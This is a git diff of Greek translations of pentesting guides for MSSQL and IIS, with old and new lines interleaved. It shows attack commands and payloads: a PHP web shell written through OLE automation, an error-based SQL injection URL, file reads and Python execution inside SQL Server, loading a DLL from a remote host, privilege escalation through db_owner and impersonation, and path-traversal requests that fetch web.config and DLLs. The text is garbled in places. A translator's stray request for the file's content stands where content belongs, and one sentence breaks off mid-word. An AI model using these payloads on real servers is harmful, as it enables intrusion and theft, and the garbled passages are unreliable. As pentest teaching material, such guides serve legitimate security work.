Για να γράψουμε αρχεία χρησιμοποιώντας `MSSQL`, πρέπει να **ενεργοποιήσουμε** τις [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), κάτι που απαιτεί δικαιώματα admin, και στη συνέχεια να εκτελέσουμε κάποιες stored procedures για να δημιουργήσουμε το αρχείο:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -311,9 +343,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Διαβάστε αρχείο με** OPENROWSET
### **Ανάγνωση αρχείου με** OPENROWSET
Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση:
Κατά προεπιλογή, `MSSQL` επιτρέπει **ανάγνωση οποιουδήποτε αρχείου στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε το ακόλουθο SQL ερώτημα:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -322,19 +354,19 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Σφάλμα-βασισμένο διάνυσμα για SQLi:
#### Διάνυσμα βάσει σφάλματος για SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)**
### **RCE/Ανάγνωση αρχείων μέσω εκτέλεσης scripts (Python and R)**
MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές.
Το MSSQL μπορεί να σας επιτρέψει να εκτελέσετε **scripts σε Python και/ή R**. Αυτός ο κώδικας θα εκτελεστεί από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί την **xp_cmdshell** για την εκτέλεση εντολών.
Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**:
Παράδειγμα προσπάθειας εκτέλεσης ενός **'R'** _"Hellow World!"_ που **δεν λειτουργεί**:
![](<../../images/image (393).png>)
Παράδειγμα χρησιμοποιώντας ρυθμισμένο python για να εκτελέσει πολλές ενέργειες:
Παράδειγμα που χρησιμοποιεί τον διαμορφωμένο python για την εκτέλεση διαφόρων ενεργειών:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -348,12 +380,12 @@ print(sys.version)
'
GO
```
### Read Registry
### Ανάγνωση Μητρώου
Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server παρέχει **πολλαπλές επεκταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράσετε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Κανονικές** | **Ευαισθητοποιημένες στην Εγκατάσταση** |
| ----------------------------- | ------------------------------------ |
| **Regular** | **Instance-Aware** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
@ -373,21 +405,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Για **περισσότερα παραδείγματα** δείτε την [**αρχική πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Για **περισσότερα παραδείγματα** δείτε το [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE με MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Είναι δυνατόν να **φορτώσετε ένα .NET dll μέσα στο MSSQL με προσαρμοσμένες συναρτήσεις**. Αυτό, ωστόσο, **απαιτεί πρόσβαση `dbo`** οπότε χρειάζεστε μια σύνδεση με τη βάση δεδομένων **ως `sa` ή με ρόλο Διαχειριστή**.
Είναι δυνατό να **φορτωθεί ένα .NET dll μέσα στο MSSQL με custom functions**. Αυτό, όμως, **απαιτεί πρόσβαση `dbo`**, οπότε χρειάζεστε σύνδεση στη βάση **ως `sa` ή ρόλο Administrator**.
[**Ακολουθήστε αυτόν τον σύνδεσμο**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) για να δείτε ένα παράδειγμα.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) για να δείτε ένα παράδειγμα.
### RCE με `autoadmin_task_agents`
### RCE with `autoadmin_task_agents`
Σύμφωνα[ **με αυτή την ανάρτηση**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), είναι επίσης δυνατό να φορτώσετε ένα απομακρυσμένο dll και να κάνετε το MSSQL να το εκτελέσει με κάτι σαν:
Σύμφωνα[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), είναι επίσης δυνατό να φορτώσετε ένα remote dll και να κάνετε το MSSQL να το εκτελέσει με κάτι σαν:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Με:
Παρακαλώ επικολλήστε εδώ το περιεχόμενο του αρχείου src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md για να το μεταφράσω στα Ελληνικά.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -439,13 +471,13 @@ public void Test()
```
### Άλλοι τρόποι για RCE
Υπάρχουν άλλες μέθοδοι για να αποκτήσετε εκτέλεση εντολών, όπως η προσθήκη [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Υπάρχουν και άλλες μέθοδοι για την απόκτηση εκτέλεσης εντολών, όπως η προσθήκη [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), και [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Escalation Προνομίων
## MSSQL Privilege Escalation
### Από db_owner σε sysadmin
### From db_owner to sysadmin
Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**admin**).
Αν σε έναν **κανονικό χρήστη** δοθεί ο ρόλος **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν admin** χρήστη (όπως **`sa`**) και αυτή η βάση είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **execute** ως ο ιδιοκτήτης (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -489,9 +521,9 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Υποκατάσταση άλλων χρηστών
### Impersonation of other users
Ο SQL Server έχει μια ειδική άδεια, που ονομάζεται **`IMPERSONATE`**, η οποία **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τις άδειες ενός άλλου χρήστη** ή σύνδεσης μέχρι να επαναρυθμιστεί το πλαίσιο ή να λήξει η συνεδρία.
SQL Server διαθέτει μια ειδική άδεια, με όνομα **`IMPERSONATE`**, η οποία **επιτρέπει στον εκτελούντα χρήστη να αναλάβει τα δικαιώματα ενός άλλου χρήστη** ή login μέχρι να επαναφερθεί το πλαίσιο ή να λήξει η συνεδρία.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -512,9 +544,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Αν μπορείτε να μιμηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές.
> Αν μπορείς να impersonate έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, πρέπει να ελέγξεις i**αν ο χρήστης έχει πρόσβαση** σε άλλες **databases** ή linked servers.
Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να μιμηθείτε οποιονδήποτε άλλο:
Σημείωση ότι μόλις είσαι sysadmin μπορείς να impersonate οποιονδήποτε άλλο:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -524,7 +556,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα **metasploit** module:
Μπορείτε να εκτελέσετε αυτήν την επίθεση με ένα module του **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
@ -534,32 +566,32 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Χρήση του MSSQL για Διαρκή Πρόσβαση
## Χρήση MSSQL για Persistence
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Εξαγωγή κωδικών πρόσβασης από SQL Server Linked Servers
## Εξαγωγή κωδικών από SQL Server Linked Servers
Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς των SQL Server Linked Servers από τις SQL Instances και να τους λάβει σε απλό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερο έλεγχο στο στόχο. Το script για την εξαγωγή και αποκρυπτογράφηση των κωδικών που αποθηκεύονται για τους Linked Servers μπορείτε να το βρείτε [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server.
Μερικές απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε αυτό το exploit να λειτουργήσει. Πρωτίστως, πρέπει να έχετε δικαιώματα Administrator στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις SQL Server Configurations.
Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής:
Αφού επαληθεύσετε τα δικαιώματά σας, χρειάζεται να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής:
1. Ενεργοποιήστε το TCP/IP στις SQL Server instances;
2. Προσθέστε μια παράμετρο εκκίνησης, στην προκειμένη περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806.
3. Ενεργοποιήστε τη σύνδεση απομακρυσμένου διαχειριστή.
1. Enable TCP/IP on the SQL Server instances;
2. Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
3. Ενεργοποιήστε την απομακρυσμένη σύνδεση διαχειριστή.
Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαραίτητα σενάρια. Εκτός από το ότι έχει ένα σενάριο powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης.
To automate these configurations, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.
Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
For further information, refer to the following links regarding this attack: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Τοπική Κλιμάκωση Δικαιωμάτων
## Local Privilege Escalation
Ο χρήστης που εκτελεί τον MSSQL server θα έχει ενεργοποιημένο το δικαίωμα **SeImpersonatePrivilege.**\
Πιθανώς θα μπορείτε να **κλιμακώσετε σε Διαχειριστή** ακολουθώντας μία από αυτές τις 2 σελίδες:
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
Πιθανότατα θα μπορέσετε να **escalate to Administrator** ακολουθώντας μία από αυτές τις 2 σελίδες:
{{#ref}}
@ -575,7 +607,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
- `port:1433 !HTTP`
## Αναφορές
## References
- [Unit 42 Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -587,7 +631,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks Αυτόματες Εντολές
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Δοκιμάστε εκτελέσιμες επεκτάσεις αρχείων:
Επεκτάσεις αρχείων προς δοκιμή:
- asp
- aspx
@ -11,7 +11,7 @@
## Αποκάλυψη εσωτερικής διεύθυνσης IP
Σε οποιονδήποτε διακομιστή IIS όπου λαμβάνετε 302, μπορείτε να δοκιμάσετε να αφαιρέσετε την κεφαλίδα Host και να χρησιμοποιήσετε HTTP/1.0 και μέσα στην απόκριση η κεφαλίδα Location θα μπορούσε να σας δείξει την εσωτερική διεύθυνση IP:
Σε οποιονδήποτε IIS server όπου λαμβάνετε ένα 302 μπορείτε να δοκιμάσετε να αφαιρέσετε το Host header και να χρησιμοποιήσετε HTTP/1.0 και μέσα στην απόκριση το Location header μπορεί να δείχνει την εσωτερική διεύθυνση IP:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
```
## Εκτέλεση αρχείων .config
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος να το κάνετε αυτό είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Bruteforce Ανακάλυψη IIS
## IIS Discovery Bruteforce
Κατεβάστε τη λίστα που έχω δημιουργήσει:
@ -41,7 +41,7 @@ X-FEServer: NHEXCHANGE2016
iisfinal.txt
{{#endfile}}
Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των παρακάτω λιστών:
Δημιουργήθηκε συνενώνοντας τα περιεχόμενα των παρακάτω λιστών:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,24 +50,24 @@ iisfinal.txt
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Χρησιμοποιήστε το χωρίς να προσθέσετε καμία επέκταση, τα αρχεία που το χρειάζονται την έχουν ήδη.
Χρησιμοποιήστε τη χωρίς να προσθέσετε επέκταση — τα αρχεία που τη χρειάζονται την έχουν ήδη.
## Διαδρομή Traversal
## Path Traversal
### Διαρροή πηγαίου κώδικα
### Leaking source code
Ελέγξτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Δείτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Ως σύνοψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\
> Από τα **κατεβασμένα Dlls** είναι επίσης δυνατόν να βρείτε **νέα namespaces** όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να αποκτήσετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.\
> [!TIP]
> Συνοπτικά, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε "**assemblyIdentity**" αρχεία και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατό να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα αρχεία** και να τα κατεβάσετε.\
> Από τα **downloaded Dlls** είναι επίσης δυνατό να βρείτε **new namespaces** όπου θα πρέπει να προσπαθήσετε να έχετε πρόσβαση και να αποκτήσετε το αρχείο web.config για να βρείτε νέα namespaces και assemblyIdentity.\
> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
Στις **εφαρμογές .Net MVC**, το αρχείο **web.config** παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο που εξαρτάται η εφαρμογή μέσω των XML ετικετών **"assemblyIdentity"**.
Σε εφαρμογές .Net MVC, το αρχείο web.config παίζει κρίσιμο ρόλο, προσδιορίζοντας κάθε δυαδικό αρχείο στο οποίο βασίζεται η εφαρμογή μέσω των XML tags "assemblyIdentity".
### **Εξερεύνηση Δυαδικών Αρχείων**
Ένα παράδειγμα πρόσβασης στο αρχείο **web.config** φαίνεται παρακάτω:
Ένα παράδειγμα πρόσβασης στο αρχείο web.config εμφανίζεται παρακάτω:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
@ -75,38 +75,38 @@ Host: example-mvc-application.minded
Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:
- **EntityFramework** έκδοση
- **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript
- **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης
- **System.webServer** ρυθμίσεις μονάδων
- **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc**
- **AppSettings** για webpages, client validation και JavaScript
- **System.web** ρυθμίσεις για authentication και runtime
- **System.webServer** ρυθμίσεις modules
- **Runtime** assembly bindings για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc**
Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής.
Αυτές οι ρυθμίσεις υποδεικνύουν ότι κάποια αρχεία, όπως **/bin/WebGrease.dll**, βρίσκονται στον φάκελο /bin της εφαρμογής.
### **Αρχεία Ρίζας Διευθύνσεων**
### **Αρχεία Ριζικού Καταλόγου**
Αρχεία που βρίσκονται στον φάκελο ρίζας, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
Αρχεία που βρέθηκαν στον ριζικό κατάλογο, όπως **/global.asax** και **/connectionstrings.config** (που περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
### **Namespaces και Web.Config**
### **Χώροι ονομάτων και Web.Config**
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον **web.config
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον **web.config files** για συγκεκριμένα namespaces ώστε να αποφευχθούν επαναλαμβανόμενες δηλώσεις σε κάθε αρχείο, όπως φαίνεται με ένα αίτημα για λήψη ενός άλλου **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Λήψη DLLs**
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που είναι παρούσα στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη της **WebApplication1.dll**:
Η αναφορά σε ένα προσαρμοσμένο namespace υποδεικνύει ένα DLL με όνομα "**WebApplication1**" που βρίσκεται στον κατάλογο /bin. Ακολούθως εμφανίζεται ένα αίτημα για λήψη του **WebApplication1.dll**:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το **System.Web.Mvc.dll** και το **System.Web.Optimization.dll**, στον φάκελο /bin.
Αυτό υποδηλώνει την παρουσία άλλων απαραίτητων DLL, όπως **System.Web.Mvc.dll** και **System.Web.Optimization.dll**, στον φάκελο /bin.
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
Σε ένα σενάριο όπου ένα DLL εισάγει ένα όνομα χώρου (namespace) με όνομα **WebApplication1.Areas.Minded**, ένας επιτιθέμενος θα μπορούσε να συμπεράνει την ύπαρξη άλλων web.config αρχείων σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλα DLL στο φάκελο /bin. Για παράδειγμα, ένα αίτημα προς **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και ονόματα χώρων που υποδηλώνουν την παρουσία ενός άλλου DLL, **WebApplication1.AdditionalFeatures.dll**.
### Κοινά αρχεία
Από [εδώ](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
